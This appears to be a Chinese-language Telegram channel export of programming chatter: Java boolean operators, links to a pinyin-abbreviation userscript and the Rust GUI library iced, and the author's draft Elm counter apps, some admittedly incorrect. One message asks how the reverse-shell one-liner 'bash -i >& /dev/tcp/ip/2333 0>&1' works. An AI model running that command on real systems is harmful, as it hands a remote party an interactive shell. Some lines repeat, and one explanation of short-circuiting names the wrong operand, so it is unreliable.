Forwarded from 里克 |今天刷题了吗?
bash -i >& /dev/tcp/ip/2333 0>&1 这个语句的-i >& 和0>&1 怎么理解。只能看懂是执行了一次tcp连接。
Forwarded from dnaugsuz
你要用x.op(),x属于A,你就是要用A的方法。既然用A的方法,你属于A,就是说也要用你的方法。
你既然也要被用,你就和x一样。而你只驱使x去做op(),则竟无自知之明,你的话还有什么价值?
若你没有被用,是说诳也。死对象是说诳的,所以你是死对象。
我 finialize&free 死对象,所以我是好 GC。GC 的 profile 是最有价值的,所以我的话是不错的,我的话既然不错,你就是死对象无疑了!
你既然也要被用,你就和x一样。而你只驱使x去做op(),则竟无自知之明,你的话还有什么价值?
若你没有被用,是说诳也。死对象是说诳的,所以你是死对象。
我 finialize&free 死对象,所以我是好 GC。GC 的 profile 是最有价值的,所以我的话是不错的,我的话既然不错,你就是死对象无疑了!
Forwarded from dnaugsuz
由一个不成立的条件得出某命题成立,然后再从那个成立的命题解出自己想要的答案……
上面也的确是循环定义,但从 statement 的开始来看,就已经有纰漏了,除非“鲁迅”会在你说出纰漏的时候强调一遍先读完后半部分。
上面也的确是循环定义,但从 statement 的开始来看,就已经有纰漏了,除非“鲁迅”会在你说出纰漏的时候强调一遍先读完后半部分。
#Java 里 (&) 竟然不只是 bitwise and,还支持 boolean&boolean 的使用(只是不短路),真是……
Forwarded from dnaugsuz
补充一句,(p && q) 短路的意思是若 p 不成立则 q 不执行
(p || q) 的短路则是若 p 已成立则 p 不执行
(p || q) 的短路则是若 p 已成立则 p 不执行
Forwarded from せっせと的瞎吐槽👻
https://github.com/itorr/nbnhhsh
😩「能不能好好说话?」 拼音首字母缩写翻译工具
社交平台上通过拼音首字母缩写指代特定词句的情况越来越多,为了让常人勉强能理解这一门另类沟通方式、做了这一个划词翻译油猴脚本。
😩「能不能好好说话?」 拼音首字母缩写翻译工具
社交平台上通过拼音首字母缩写指代特定词句的情况越来越多,为了让常人勉强能理解这一门另类沟通方式、做了这一个划词翻译油猴脚本。
GitHub
GitHub - itorr/nbnhhsh: 😩「能不能好好说话?」 拼音首字母缩写翻译工具
😩「能不能好好说话?」 拼音首字母缩写翻译工具. Contribute to itorr/nbnhhsh development by creating an account on GitHub.
Forwarded from せっせと的瞎吐槽👻
#gui #rust #recommended https://github.com/hecrj/iced
🤔 啊!这个有意思! SMVU(State, Message, View logic, Update logic) 提纲得好!
应用的状态是 State,Message 可以触发改变它的逻辑
State 本身也需要 View 来渲染,State 改变了就需要 Update
🤔 啊!这个有意思! SMVU(State, Message, View logic, Update logic) 提纲得好!
应用的状态是 State,Message 可以触发改变它的逻辑
State 本身也需要 View 来渲染,State 改变了就需要 Update
GitHub
GitHub - iced-rs/iced: A cross-platform GUI library for Rust, inspired by Elm
A cross-platform GUI library for Rust, inspired by Elm - iced-rs/iced
https://guide.elm-lang.org/ 好像 #Haskell 的语法啊 🤔 case of 还有等号函数定义、layout……
guide.elm-lang.org
Introduction · An Introduction to Elm
import Browser
import Dom.Widgets exposing (div, Text, Button)
import Dom.Events exposing (onClick)
main = Browser.sandbox { init = 0, view = view, update = update }
update state message =
case msg of
"inc" -> state + 1
else -> state
view state =
div [
Text ["$state"]
Button ["inc", "inc"]
] 🤔没看几眼就开始默写了,不会
duangsuse::Echo
import Browser import Dom.Widgets exposing (div, Text, Button) import Dom.Events exposing (onClick) main = Browser.sandbox { init = 0, view = view, update = update } update state message = case msg of "inc" -> state + 1 else -> state view state…
好了,我懂了。
import Browser
import Html exposing (Dom, div, button)
import Html.Events exposing (onClick)
type Msg = Increment | Decrement
main = Browser.sandbox { init = 0, view = view, update = update }
view model =
div [], [
([div [text model] ])
(button [text "+1"] [onClick Increment]),
(button [text "-1"] [onClick Decrement])
]
update msg model =
case msg of
Increment -> model + 1
Decrement -> model - 1我觉得这一遍应该可以去试水了 🤔
好了,没想到是这种参数顺序…… 我还以为
https://elm-lang.org/examples/buttons
module Main exposing (..)
import Browser
import Html exposing (Html, div, text, button)
import Html.Events exposing (onClick)
type alias Model = Int
type Msg = Increase | Decrease
main = Browser.sandbox { init = 0, view = view, update = update }
view model =
div []
[
div [] [text (String.fromInt model)],
button [onClick Decrease] [text "-1"],
button [onClick Increase] [text "+1"]
]
update msg model =
case msg of
Increase -> model + 1
Decrease -> model - 1 好了,没想到是这种参数顺序…… 我还以为
f [a 1] [b "?"] 是 "keyword argument" 呢https://elm-lang.org/examples/buttons
duangsuse::Echo
我觉得这一遍应该可以去试水了 🤔 module Main exposing (..) import Browser import Html exposing (Html, div, text, button) import Html.Events exposing (onClick) type alias Model = Int type Msg = Increase | Decrease main = Browser.sandbox { init = 0, view = view, update =…
其实刚才我觉得
刚才我才发现,只要参数列表不加逗号就是利用 layout 了,不过那还是需要先知道参数个数才能不预取字符。
view 定义里,div 的参数列表的 layout 文法很复杂,说明 Elm 的语法实现起来很困难,不能不预取字符就判断是否开启新 layout 深度 🤔刚才我才发现,只要参数列表不加逗号就是利用 layout 了,不过那还是需要先知道参数个数才能不预取字符。